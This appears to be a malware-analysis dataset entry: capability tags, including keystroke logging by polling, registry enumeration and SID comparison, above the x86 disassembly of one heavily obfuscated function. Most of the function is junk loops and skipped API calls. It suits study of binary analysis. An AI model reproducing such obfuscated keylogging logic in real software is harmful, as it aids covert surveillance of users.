Function at 0x4115ca
Capabilities:
Compare security identifiers
Log keystrokes via polling
Query or enumerate registry key
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1dc
push ebx
xor ebx, ebx
xor ecx, ecx
push esi
push edi
mov dword [esp + 0x1c], ebx
inc ecx
jmp 0x4115f7
mov eax, dword [esp + 0x1c]
mov dword [esp + eax*4 + 0x80], 0x4fd3df75
inc dword [esp + 0x1c]
cmp dword [esp + 0x1c], ecx
jl 0x4115e4
mov dword [esp + 0x80], 7
jmp 0x411647
mov dword [esp + 0x18], ecx
mov dword [esp + 0x1c], ebx
jmp 0x411627
mov eax, dword [esp + 0x1c]
mov dword [esp + eax*4 + 0x100], 0xfffffffb
inc dword [esp + 0x1c]
cmp dword [esp + 0x1c], ecx
jl 0x411614
mov dword [esp + 0x18], 0xa4f402e3
mov eax, dword [esp + 0x18]
mov dword [esp + 0x100], eax
dec dword [esp + 0x80]
cmp dword [esp + 0x80], 0xfffffff1
jge 0x41160a
mov dword [esp + 0x28], 0xad386cce
mov dword [esp + 0x18], 0xffffffff
mov dword [esp + 0x20], 9
mov dword [esp + 0x1c], ebx
jmp 0x411682
mov eax, dword [esp + 0x1c]
mov dword [esp + eax*4 + 0x1dc], 0xd53b
inc dword [esp + 0x1c]
cmp dword [esp + 0x1c], 3
jl 0x41166f
mov esi, dword [esp + 0x28]
mov ecx, 0x4bcd
mov dword [esp + 0x1dc], esi
xor edx, edx
mov eax, dword [esp + 0x18]
sub ecx, eax
add ecx, dword [esp + 0x18]
mov eax, dword [esp + 0x28]
cmp ecx, eax
setge dl
xor ecx, ecx
add edx, dword [esp + 0x28]
mov eax, dword [esp + 0x28]
neg eax
cmp eax, edx
setle cl
xor eax, eax
cmp esi, ecx
setle al
imul eax, eax, 0xddd9
mov dword [esp + 0x20], eax
mov byte [esp + 0x5d], bl
cmp byte [esp + 0x5d], bl
je 0x4116ec
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x208
push ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
push 2
lea ecx, [esp + 0x198]
call fcn.0040f233
mov dword [esp + 0x84], ebx
jmp 0x41171f
mov ecx, dword [esp + 0x84]
mov eax, dword [esp + 0x194]
mov dword [eax + ecx*4], 0x9b55bb2c
inc dword [esp + 0x84]
cmp dword [esp + 0x84], 2
jl 0x411703
mov eax, dword [esp + 0x194]
lea ecx, [esp + 0x194]
mov dword [eax + 4], 0xfffffffd
call fcn.0040f305
xor esi, esi
lea ecx, [esp + 0x164]
inc esi
mov dword [esp + 0x28], esi
push 4
call fcn.0040f233
mov edi, dword [sym.imp.USER32.dll_GetDesktopWindow]
mov dword [esp + 0x6c], 0xd5e48d32
mov dword [esp + 0xe4], 0xb91359a7
mov dword [esp + 0xec], 0xffffffff
mov dword [esp + 0x2c], 0xa53e
mov dword [esp + 0x6c], 0x12
jmp 0x411905
lea ecx, [esp + 0x13c]
call fcn.0040f233
mov dword [esp + 0x70], 0xee7d214c
mov dword [esp + 0x108], 0xa737
mov dword [esp + 0xe8], 0xec53312a
mov dword [esp + 0x90], ebx
jmp 0x4117e0
mov ecx, dword [esp + 0x90]
mov eax, dword [esp + 0x138]
mov dword [eax + ecx*4], 0x683c8fc5
inc dword [esp + 0x90]
cmp dword [esp + 0x90], esi
jl 0x4117c4
mov dword [esp + 0x70], ebx
cmp dword [esp + 0x70], ebx
jl 0x4118f5
mov dword [esp + 0x68], 8
lea ecx, [esp + 0x17c]
mov dword [esp + 0x110], ebx
mov dword [esp + 0x118], 7
push 2
call fcn.0040f233
mov dword [esp + 0xa0], ebx
jmp 0x411844
mov ecx, dword [esp + 0xa0]
mov eax, dword [esp + 0x17c]
mov dword [eax + ecx*4], 0xfffffffd
inc dword [esp + 0xa0]
cmp dword [esp + 0xa0], 2
jl 0x411828
mov dword [esp + 0x68], ebx
jmp 0x41187b
mov ecx, dword [esp + 0x70]
mov eax, dword [esp + 0x138]
cmp dword [eax + ecx*4], ebx
jne 0x411881
mov byte [esp + 0x13], bl
cmp byte [esp + 0x13], bl
je 0x411877
call edi
push eax
call dword [sym.imp.USER32.dll_IsWindow]
inc dword [esp + 0x68]
cmp dword [esp + 0x68], ebx
jle 0x411854
lea eax, [esp + 0xec]
push eax
lea eax, [esp + 0x10c]
push eax
lea eax, [esp + 0xec]
push eax
lea eax, [esp + 0x188]
push eax
lea eax, [esp + 0xf8]
push eax
lea eax, [esp + 0x80]
push eax
lea eax, [esp + 0x88]
push eax
lea eax, [esp + 0x154]
push eax
lea eax, [esp + 0x130]
push eax
lea edx, [esp + 0x13c]
lea ecx, [esp + 0x8c]
call fcn.004114b8
add esp, 0x24
lea ecx, [esp + 0x17c]
call fcn.0040f305
dec dword [esp + 0x70]
jns 0x4117f7
lea ecx, [esp + 0x138]
call fcn.0040f305
inc dword [esp + 0x6c]
cmp dword [esp + 0x6c], 0x15
push esi
jne 0x411791
mov dword [esp + 0x50], 0x6e58d020
lea ecx, [esp + 0x1cc]
call fcn.0040f233
mov dword [esp + 0x3c], ebx
jmp 0x411941
mov ecx, dword [esp + 0x3c]
mov eax, dword [esp + 0x1c8]
mov dword [eax + ecx*4], 0x5b57fd54
inc dword [esp + 0x3c]
cmp dword [esp + 0x3c], esi
jl 0x41192b
mov dword [esp + 0x3c], ebx
jmp 0x411960
mov eax, dword [esp + 0x3c]
mov dword [esp + eax*4 + 0xd8], 0x4c506d44
inc dword [esp + 0x3c]
cmp dword [esp + 0x3c], 2
jl 0x41194d
mov dword [esp + 0xdc], ebx
cmp dword [esp + 0xdc], ebx
jl 0x411a00
mov dword [esp + 0xb0], 5
lea ecx, [esp + 0x158]
push esi
call fcn.0040f233
mov dword [esp + 0xa8], ebx
jmp 0x4119b8
mov ecx, dword [esp + 0xa8]
mov eax, dword [esp + 0x158]
mov dword [eax + ecx*4], 0x2c36544d
inc dword [esp + 0xa8]
cmp dword [esp + 0xa8], esi
jl 0x41199c
mov dword [esp + 0xb0], ebx
jmp 0x4119de
mov eax, dword [esp + 0x158]
mov dword [eax], 0xfef9d786
inc dword [esp + 0xb0]
cmp dword [esp + 0xb0], ebx
jle 0x4119ca
lea ecx, [esp + 0x158]
call fcn.0040f305
dec dword [esp + 0xdc]
jns 0x41197b
lea ecx, [esp + 0x1c8]
call fcn.0040f305
push 4
lea ecx, [esp + 0x174]
call fcn.0040f233
mov dword [esp + 0x60], 0xa32b1cec
mov dword [esp + 0xb8], ebx
jmp 0x411a44
mov ecx, dword [esp + 0xb8]
mov eax, dword [esp + 0x170]
or dword [eax + ecx*4], 0xffffffff
inc dword [esp + 0xb8]
cmp dword [esp + 0xb8], 4
jl 0x411a2b
mov dword [esp + 0x60], 3
cmp dword [esp + 0x60], ebx
jl 0x411a9f
mov dword [esp + 0x64], 0x48f69f7f
mov dword [esp + 0x64], ebx
jmp 0x411a80
mov ecx, dword [esp + 0x64]
mov eax, dword [esp + 0x170]
mov dword [eax + ecx*4], 6
inc dword [esp + 0x64]
cmp dword [esp + 0x64], 4
jl 0x411a6a
mov byte [esp + 0x56], bl
cmp byte [esp + 0x56], bl
je 0x411a99
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_EqualSid]
dec dword [esp + 0x60]
jns 0x411a5c
mov eax, dword [esp + 0x60]
lea ecx, [esp + 0x170]
mov dword [esp + 0x60], eax
call fcn.0040f305
mov dword [esp + 0xac], ebx
jmp 0x411ad5
mov ecx, dword [esp + 0xac]
mov eax, dword [esp + 0x164]
or dword [eax + ecx*4], 0xffffffff
inc dword [esp + 0xac]
cmp dword [esp + 0xac], 4
jl 0x411abc
push esi
lea ecx, [esp + 0x148]
call fcn.0040f233
mov dword [esp + 0xd0], 0x61f
mov dword [esp + 0x2c], 0xe0980db9
mov dword [esp + 0x8c], ebx
jmp 0x411b24
mov ecx, dword [esp + 0x8c]
mov eax, dword [esp + 0x144]
mov dword [eax + ecx*4], 0xfffffff9
inc dword [esp + 0x8c]
cmp dword [esp + 0x8c], esi
jl 0x411b08
mov eax, dword [esp + 0x144]
lea edx, [esp + 0x144]
xor ecx, ecx
cmp dword [eax], ebx
sete cl
mov dword [esp + 0xd0], ecx
lea ecx, [esp + 0xd0]
call fcn.0041129a
lea ecx, [esp + 0x144]
call fcn.0040f305
mov dword [esp + 0x28], ebx
jmp 0x412618
call fcn.00411362
mov dword [esp + 0x30], 0x5ba77230
mov dword [esp + 0x30], ebx
jmp 0x411eff
mov dword [esp + 0x94], 0xfffffffc
lea ecx, [esp + 0x188]
push esi
call fcn.0040f233
mov dword [esp + 0xa4], ebx
jmp 0x411bb9
mov ecx, dword [esp + 0xa4]
mov eax, dword [esp + 0x188]
mov dword [eax + ecx*4], esi
inc dword [esp + 0xa4]
cmp dword [esp + 0xa4], esi
jl 0x411ba1
mov dword [esp + 0x94], ebx
jmp 0x411bdd
mov eax, dword [esp + 0x188]
cmp dword [eax], ebx
jne 0x411be7
inc dword [esp + 0x94]
cmp dword [esp + 0x94], 0x13
jge 0x411bcb
mov byte [esp + 0x13], bl
cmp byte [esp + 0x13], 0
je 0x411bf9
push ebx
call dword [sym.imp.USER32.dll_GetKeyboardState]
lea ecx, [esp + 0x188]
call fcn.0040f305
mov dword [esp + 0x2c], 0x72a7
mov dword [esp + 0x18], 8
mov dword [esp + 0x14], ebx
jmp 0x411c2e
mov eax, dword [esp + 0x14]
mov dword [esp + eax*4 + 0xb4], 0xf782a183
inc dword [esp + 0x14]
cmp dword [esp + 0x14], esi
jl 0x411c1b
push 2
mov dword [esp + 0x18], ebx
pop ecx
jmp 0x411c50
mov eax, dword [esp + 0x14]
mov dword [esp + eax*4 + 0x1b4], 0x1c03809d
inc dword [esp + 0x14]
cmp dword [esp + 0x14], ecx
jl 0x411c3d
mov dword [esp + 0x14], ebx
jmp 0x411c6f
mov eax, dword [esp + 0x14]
mov dword [esp + eax*4 + 0x1d4], 0x1da7bc99
inc dword [esp + 0x14]
cmp dword [esp + 0x14], ecx
jl 0x411c5c
mov byte [esp + 0x55], bl
cmp byte [esp + 0x55], 0
je 0x411c89
call edi
push eax
call dword [sym.imp.USER32.dll_IsZoomed]
mov eax, dword [esp + 0xb4]
xor ecx, ecx
cmp eax, 0x3717
setge cl
xor eax, eax
mov dword [esp + 0x1b4], ecx
mov edx, dword [esp + 0xb4]
add edx, 0x7540
cmp ecx, 0x93ee3274
mov dword [esp + 0x1d4], edx
setne al
xor ecx, ecx
cmp eax, edx
mov eax, dword [esp + 0xb4]
mov edx, dword [esp + 0xb4]
setle cl
add eax, ecx
sub edx, eax
mov eax, dword [esp + 0xb4]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setne cl
mov dword [esp + 0x18], ecx
dec dword [esp + 0x4c]
mov dword [esp + 0x18], 0xfffffffc
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x2c], 0xfffffff6
mov dword [esp + 0x14], ebx
jmp 0x411d21
mov eax, dword [esp + 0x14]
mov dword [esp + eax*4 + 0x150], 0xbca6
inc dword [esp + 0x14]
cmp dword [esp + 0x14], 2
jl 0x411d0e
mov dword [esp + 0x14], ebx
jmp 0x411d41
mov eax, dword [esp + 0x14]
mov dword [esp + eax*4 + 0x1b0], 0xbcabebf3
inc dword [esp + 0x14]
cmp dword [esp + 0x14], esi
jl 0x411d2e
mov dword [esp + 0x18], esi
cmp dword [esp + 0x18], ebx
jl 0x411efb
mov dword [esp + 0x20], 0x1265ab3e
mov dword [esp + 0x2c], esi
mov dword [esp + 0x20], esi
cmp dword [esp + 0x20], ebx
jl 0x411ef1
mov dword [esp + 0x88], 0xfffffff8
mov dword [esp + 0x2c], 0xfffffff7
mov dword [esp + 0x2c], esi
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x2c], 0xfff6
mov dword [esp + 0x88], esi
cmp dword [esp + 0x88], ebx
jl 0x411ee7
mov dword [esp + 0x14], 0x44555950
mov dword [esp + 0x14], ebx
jmp 0x411dd6
mov dword [esp + 0x44], 0x3a18e418
mov eax, dword [esp + 0x88]
mov eax, dword [esp + eax*4 + 0x150]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x44], eax
inc dword [esp + 0x14]
cmp dword [esp + 0x14], esi
jle 0x411db4
mov dword [esp + 0x14], ebx
jmp 0x411ed0
mov dword [esp + 0x1c], 0xc10977a1
mov dword [esp + 0x2c], 0x4d996497
mov dword [esp + 0x1c], esi
cmp dword [esp + 0x1c], ebx
jl 0x411ecc
mov dword [esp + 0x44], 0xc383c67e
mov dword [esp + 0x44], 0xffffffff
mov dword [esp + 0x44], ebx
jmp 0x411eb8
mov dword [esp + 0xf0], 0xd3ed
lea ecx, [esp + 0x12c]
push 2
call fcn.0040f233
mov dword [esp + 0x9c], ebx
jmp 0x411e5a
mov ecx, dword [esp + 0x9c]
mov eax, dword [esp + 0x12c]
mov dword [eax + ecx*4], 0x3846f263
inc dword [esp + 0x9c]
cmp dword [esp + 0x9c], 2
jl 0x411e3e
mov esi, dword [esp + 0x12c]
xor ecx, ecx
mov eax, dword [esp + 0x150]
cmp dword [esi + 4], 1
setl cl
xor ebx, ebx
cmp ecx, eax
mov eax, dword [esp + 0x1c]
setg bl
xor edx, edx
cmp ebx, eax
mov eax, dword [esp + 0x1c]
sete dl
xor ecx, ecx
cmp edx, eax
setge cl
xor ebx, ebx
sub ecx, dword [esp + 0x20]
cmp dword [esp + 0x2c], ebx
mov dword [esi + 4], ecx
lea ecx, [esp + 0x12c]
call fcn.0040f305
inc dword [esp + 0x44]
xor esi, esi
inc esi
cmp dword [esp + 0x44], esi
jle 0x411e1c
dec dword [esp + 0x1c]
jns 0x411e03
inc dword [esp + 0x14]
cmp dword [esp + 0x14], esi
jle 0x411de5
dec dword [esp + 0x88]
jns 0x411da6
dec dword [esp + 0x20]
jns 0x411d6f
dec dword [esp + 0x18]
jns 0x411d55
inc dword [esp + 0x30]
cmp dword [esp + 0x30], 3
jle 0x411b80
mov dword [esp + 0x24], ebx
mov dword [esp + 0xc0], 0xe1d925b0
mov dword [esp + 0x98], 9
mov dword [esp + 0x58], ebx
mov dword [esp + 0x18], 6
mov dword [esp + 0x74], esi
mov dword [esp + 0x20], ebx
jmp 0x411f4d
mov eax, dword [esp + 0x20]
mov dword [esp + eax*4 + 0x1c0], 0xf9e6a012
inc dword [esp + 0x20]
cmp dword [esp + 0x20], 2
jl 0x411f3a
mov dword [esp + 0x24], ebx
mov dword [esp + 0xc0], ebx
mov dword [esp + 0x98], ebx
mov ecx, dword [esp + 0x24]
sub ecx, dword [esp + 0x24]
mov eax, dword [esp + 0x24]
neg ecx
sbb ecx, ecx
inc ecx
add eax, ecx
mov ecx, dword [esp + 0x24]
add ecx, eax
xor eax, eax
neg ecx
cmp ecx, 0xbf5f
setge al
xor edx, edx
mov dword [esp + 0x58], eax
mov ecx, dword [esp + 0x24]
mov eax, dword [esp + 0x24]
cmp ecx, eax
mov eax, dword [esp + 0x98]
setg dl
xor ebx, ebx
cmp eax, edx
mov eax, dword [esp + 0x58]
setge bl
imul ecx, eax, 0xcaea
mov eax, dword [esp + 0x24]
xor edx, edx
cmp ecx, eax
mov eax, dword [esp + 0x98]
sete dl
lea ecx, [edx + ebx]
xor edx, edx
cmp ecx, eax
setle dl
xor ebx, ebx
cmp edx, dword [esp + 0x24]
jl 0x411fe6
mov edx, ebx
cmp dword [esp + 0xc0], ebx
je 0x411fe8
mov edx, esi
mov eax, dword [esp + 0x24]
xor ecx, ecx
cmp edx, eax
sete cl
mov dword [esp + 0x98], ecx
mov eax, dword [esp + 0x98]
neg eax
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x18]
cmp eax, dword [esp + 0x24]
jge 0x412022
cmp dword [esp + 0xc0], ebx
jne 0x412022
mov eax, ebx
cmp dword [esp + 0x24], ebx
je 0x412024
mov eax, esi
mov ecx, dword [esp + 0xc0]
sub ecx, eax
mov eax, dword [esp + 0x1c0]
sub ecx, eax
mov eax, dword [esp + 0x74]
add eax, ecx
je 0x412083
mov byte [esp + 0x13], bl
cmp byte [esp + 0x13], 0
je 0x412054
push ebx
push ebx
call edi
push eax
call dword [sym.imp.USER32.dll_InvalidateRect]
mov byte [esp + 0x13], bl
cmp byte [esp + 0x13], 0
je 0x4120f2
push ebx
push ebx
push ebx
push 0xdef
push 0x1557
push ebx
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentExPointA]
jmp 0x4120f2
mov dword [esp + 0xd4], ebx
mov dword [esp + 0x58], ebx
jmp 0x4120eb
mov dword [esp + 0xcc], 9
mov dword [esp + 0xf0], 0xffffffff
mov dword [esp + 0x74], 0xfffffff9
jmp 0x4120d9
mov dword [esp + 0x2c], 0xfffffff7
mov dword [esp + 0x24], ebx
jmp 0x4120c9
dec dword [esp + 0xcc]
inc dword [esp + 0x24]
cmp dword [esp + 0x24], esi
jle 0x4120be
cmp dword [esp + 0x2c], ebx
jne 0x4120e0
inc dword [esp + 0x74]
cmp dword [esp + 0x74], 2
jl 0x4120b0
dec dword [esp + 0xd4]
inc dword [esp + 0x58]
cmp dword [esp + 0x58], 0x18
jl 0x412090
mov dword [esp + 0x4c], ebx
jmp 0x412609
push esi
lea ecx, [esp + 0x124]
call fcn.0040f233
mov dword [esp + 0x1c], 0x19adb821
mov dword [esp + 0x18], 0xe3ca3691
mov dword [esp + 0x2c], 0x2fa5d872
mov dword [esp + 0x40], ebx
jmp 0x41213c
mov ecx, dword [esp + 0x40]
mov eax, dword [esp + 0x120]
mov dword [eax + ecx*4], 0xfffffffe
inc dword [esp + 0x40]
cmp dword [esp + 0x40], esi
jl 0x412126
mov dword [esp + 0x40], ebx
jmp 0x41215b
mov eax, dword [esp + 0x40]
mov dword [esp + eax*4 + 0x11c], 0x6595ad33
inc dword [esp + 0x40]
cmp dword [esp + 0x40], esi
jl 0x412148
mov eax, dword [esp + 0x120]
cmp dword [eax], 0xfffffff8
jne 0x412171
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x1c]
sub ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x120]
neg ecx
sbb ecx, ecx
inc ecx
sub ecx, dword [eax]
neg ecx
sbb ecx, ecx
add ecx, 0xe5a9864c
mov dword [esp + 0x18], ecx
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x120]
neg ecx
sbb ecx, ecx
neg ecx
sub ecx, dword [eax]
mov edx, dword [eax]
neg ecx
mov esi, dword [eax]
sbb ecx, ecx
inc ecx
mov dword [esp + 0x11c], ecx
add edx, ecx
mov eax, dword [esp + 0x1c]
xor ecx, ecx
cmp edx, eax
setle cl
xor eax, eax
cmp ecx, 0x6e2c
setl al
xor ecx, ecx
cmp eax, esi
setge cl
add ecx, esi
sub ecx, dword [esp + 0x1c]
mov dword [esp + 0x2c], ecx
mov byte [esp + 0x53], bl
cmp byte [esp + 0x53], 0
je 0x412200
push 0xa0b
push ebx
push ebx
call edi
push eax
call dword [sym.imp.USER32.dll_RedrawWindow]
lea ecx, [esp + 0x120]
call fcn.0040f305
push 4
mov dword [esp + 0x34], ebx
pop esi
jmp 0x4122ad
mov ecx, dword [esp + 0x30]
mov eax, dword [esp + 0x164]
or dword [eax + ecx*4], 0xffffffff
mov dword [esp + 0x18], 0xfffffffc
mov dword [esp + 0x20], ebx
jmp 0x412244
mov eax, dword [esp + 0x20]
mov dword [esp + eax*4 + 0x1bc], esi
inc dword [esp + 0x20]
cmp dword [esp + 0x20], 1
jl 0x412235
mov dword [esp + 0x18], ebx
cmp dword [esp + 0x18], ebx
jl 0x412295
mov byte [esp + 0x13], bl
cmp byte [esp + 0x13], 0
je 0x412275
push 0x26cd
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetMapMode]
mov byte [esp + 0x57], bl
cmp byte [esp + 0x57], 0
je 0x41228f
push ebx
push 0x1316
call edi
push eax
call dword [sym.imp.USER32.dll_SetDlgItemTextW]
dec dword [esp + 0x18]
jns 0x412255
mov byte [esp + 0x13], bl
cmp byte [esp + 0x13], 0
je 0x4122a9
call edi
push eax
call dword [sym.imp.USER32.dll_SetCapture]
inc dword [esp + 0x30]
cmp dword [esp + 0x30], esi
jl 0x412218
push 2
pop esi
push esi
lea ecx, [esp + 0xf8]
call fcn.0040f233
mov dword [esp + 0x34], ebx
jmp 0x4122dd
mov eax, dword [esp + 0x34]
mov dword [esp + eax*4 + 0x78], 0x4e2d
inc dword [esp + 0x34]
cmp dword [esp + 0x34], esi
jl 0x4122cd
mov dword [esp + 0x34], ebx
jmp 0x4122ff
mov ecx, dword [esp + 0x34]
mov eax, dword [esp + 0xf4]
mov dword [eax + ecx*4], 3
inc dword [esp + 0x34]
cmp dword [esp + 0x34], esi
jl 0x4122e9
mov esi, dword [esp + 0xf4]
mov dword [esi + 4], ebx
mov eax, dword [esi + 4]
cmp dword [esp + eax*4 + 0x78], ebx
je 0x41238b
mov eax, dword [esi + 4]
cmp dword [esp + eax*4 + 0x78], ebx
jne 0x41232a
mov eax, dword [esi + 4]
cmp dword [esp + eax*4 + 0x78], ebx
je 0x41232d
xor ebx, ebx
inc ebx
mov edi, dword [esi + 4]
xor ecx, ecx
mov eax, dword [esp + edi*4 + 0x78]
cmp edi, eax
mov eax, dword [esp + 0xf4]
setg cl
xor edx, edx
cmp dword [eax], ebx
setge dl
sub edx, ecx
neg edx
sbb edx, edx
xor ebx, ebx
inc edx
cmp edx, edi
jg 0x412360
cmp dword [esp + edi*4 + 0x78], ebx
jne 0x412360
mov edx, ebx
jmp 0x412363
xor edx, edx
inc edx
mov eax, dword [esi + 4]
sub edx, eax
mov ecx, dword [esp + eax*4 + 0x78]
sub edx, ecx
mov eax, dword [esp + 0x7c]
xor ecx, ecx
cmp edx, eax
setge cl
sub ecx, dword [esi + 4]
neg ecx
sbb ecx, ecx
inc ecx
cmp ecx, 0xffffffff
jae 0x41238b
xor edx, edx
inc edx
jmp 0x41238d
mov edx, ebx
mov eax, dword [esi + 4]
xor ecx, ecx
mov eax, dword [esp + eax*4 + 0x78]
cmp edx, eax
mov eax, dword [esp + 0xf4]
setne cl
add ecx, dword [eax]
mov eax, dword [esi + 4]
cmp ecx, dword [esp + eax*4 + 0x78]
jge 0x4123eb
mov edi, dword [sym.imp.USER32.dll_GetDesktopWindow]
mov byte [esp + 0x13], bl
cmp byte [esp + 0x13], 0
je 0x412453
push ebx
push 0x15c5
push ebx
push ebx
push 0xceb
push 0x204c
push 0x176
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExtTextOutA]
jmp 0x412453
mov dword [esp + 0x20], ebx
jmp 0x412404
mov eax, dword [esp + 0x20]
mov dword [esp + eax*4 + 0xc4], 0xc80ae7b1
inc dword [esp + 0x20]
cmp dword [esp + 0x20], 1
jl 0x4123f1
mov dword [esp + 0xc4], 1
cmp dword [esp + 0xc4], ebx
jl 0x41244d
mov dword [esp + 0xc8], 0x6a6c65b0
inc dword [esp + 0xc8]
mov byte [esp + 0x5f], bl
cmp byte [esp + 0x5f], 0
je 0x412444
push ebx
push ebx
call dword [sym.imp.OLEAUT32.dll_VariantCopyInd]
dec dword [esp + 0xc4]
jns 0x41241f
mov edi, dword [sym.imp.USER32.dll_GetDesktopWindow]
cmp dword [esi + 4], ebx
je 0x4124a8
mov dword [esp + 0x18], 0x559653e3
mov dword [esp + 0x18], 1
cmp dword [esp + 0x18], ebx
jl 0x4124b3
mov dword [esp + 0x104], 1
mov eax, 0x34ab462a
mov dword [esp + 0x114], 0xffffffff
mov dword [esp + 0x104], eax
mov dword [esp + 0x114], eax
mov eax, dword [esi + 4]
cmp dword [esp + eax*4 + 0x78], ebx
jne 0x4124b3
dec dword [esp + 0x18]
jns 0x41246e
jmp 0x4124b3
mov ecx, dword [esp + 0x78]
mov eax, dword [esi + 4]
mov dword [esp + eax*4 + 0x78], ecx
inc dword [esi + 4]
cmp dword [esi + 4], 1
jle 0x41230f
mov byte [esp + 0x5e], bl
cmp byte [esp + 0x5e], 0
je 0x4124d8
push ebx
push 0x186
push ebx
call dword [sym.imp.ADVAPI32.dll_ControlService]
lea ecx, [esp + 0xf4]
call fcn.0040f305
xor esi, esi
lea ecx, [esp + 0x1a0]
inc esi
mov dword [esp + 0x14], esi
mov dword [esp + 0x48], 0xd8bc0d13
mov dword [esp + 0x18], esi
push esi
call fcn.0040f233
mov dword [esp + 0xe0], 0xfffffff8
mov dword [esp + 0x38], ebx
jmp 0x412528
mov eax, dword [esp + 0x38]
mov dword [esp + eax*4 + 0x10c], 0x3250e6da
inc dword [esp + 0x38]
cmp dword [esp + 0x38], esi
jl 0x412515
mov dword [esp + 0x38], ebx
jmp 0x41254a
mov ecx, dword [esp + 0x38]
mov eax, dword [esp + 0x1a0]
mov dword [eax + ecx*4], 0xbdae4f9d
inc dword [esp + 0x38]
cmp dword [esp + 0x38], esi
jl 0x412534
mov eax, dword [esp + 0x14]
xor ecx, ecx
mov eax, dword [esp + 0x14]
mov eax, dword [esp + 0x14]
mov eax, dword [esp + 0x14]
test eax, eax
sets cl
sub ecx, dword [esp + 0x14]
cmp ecx, 0xffffffff
sbb eax, eax
inc eax
cmp eax, dword [esp + 0x14]
jne 0x41257f
mov eax, esi
cmp dword [esp + 0x14], ebx
jne 0x412581
mov eax, ebx
mov edx, dword [esp + 0x14]
mov dword [esp + 0x10c], edx
mov dword [esp + 0x48], eax
imul ecx, dword [esp + 0x48], 0xfffb
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp edx, ecx
setle al
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
sub ecx, eax
jne 0x4125bc
mov ecx, ebx
cmp dword [esp + 0x48], ebx
je 0x4125be
mov ecx, esi
mov eax, dword [esp + 0x1a0]
mov dword [eax], ecx
mov dword [esp + 0x48], 0xffffffe9
jmp 0x4125de
cmp dword [esp + 0xe0], ebx
jne 0x4125e5
inc dword [esp + 0x48]
cmp dword [esp + 0x48], 0xfffffff6
je 0x4125d1
lea ecx, [esp + 0x1a0]
call fcn.0040f305
mov byte [esp + 0x52], bl
cmp byte [esp + 0x52], 0
je 0x412605
cmp dword [esp + 0x4c], 3
jle 0x4120fb
inc dword [esp + 0x28]
cmp dword [esp + 0x28], 0x16
jg 0x411b6a
lea ecx, [esp + 0x164]
call fcn.0040f305
mov dword [esp + 0xbc], 0xfffffffc
mov dword [esp + 0x28], ebx
jmp 0x412653
mov eax, dword [esp + 0x28]
mov dword [esp + eax*4 + 0x1ac], 4
inc dword [esp + 0x28]
cmp dword [esp + 0x28], esi
jl 0x412640
mov dword [esp + 0xbc], ebx
cmp dword [esp + 0xbc], ebx
jl 0x4126ac
mov byte [esp + 0x13], bl
cmp byte [esp + 0x13], 0
je 0x412689
push 0x26cd
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetMapMode]
mov byte [esp + 0x13], bl
cmp byte [esp + 0x13], 0
je 0x4126a3
push ebx
push 0x1316
call edi
push eax
call dword [sym.imp.USER32.dll_SetDlgItemTextW]
dec dword [esp + 0xbc]
jns 0x412669
mov byte [esp + 0x54], bl
cmp byte [esp + 0x54], 0
je 0x4126c0
call edi
push eax
call dword [sym.imp.USER32.dll_SetCapture]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret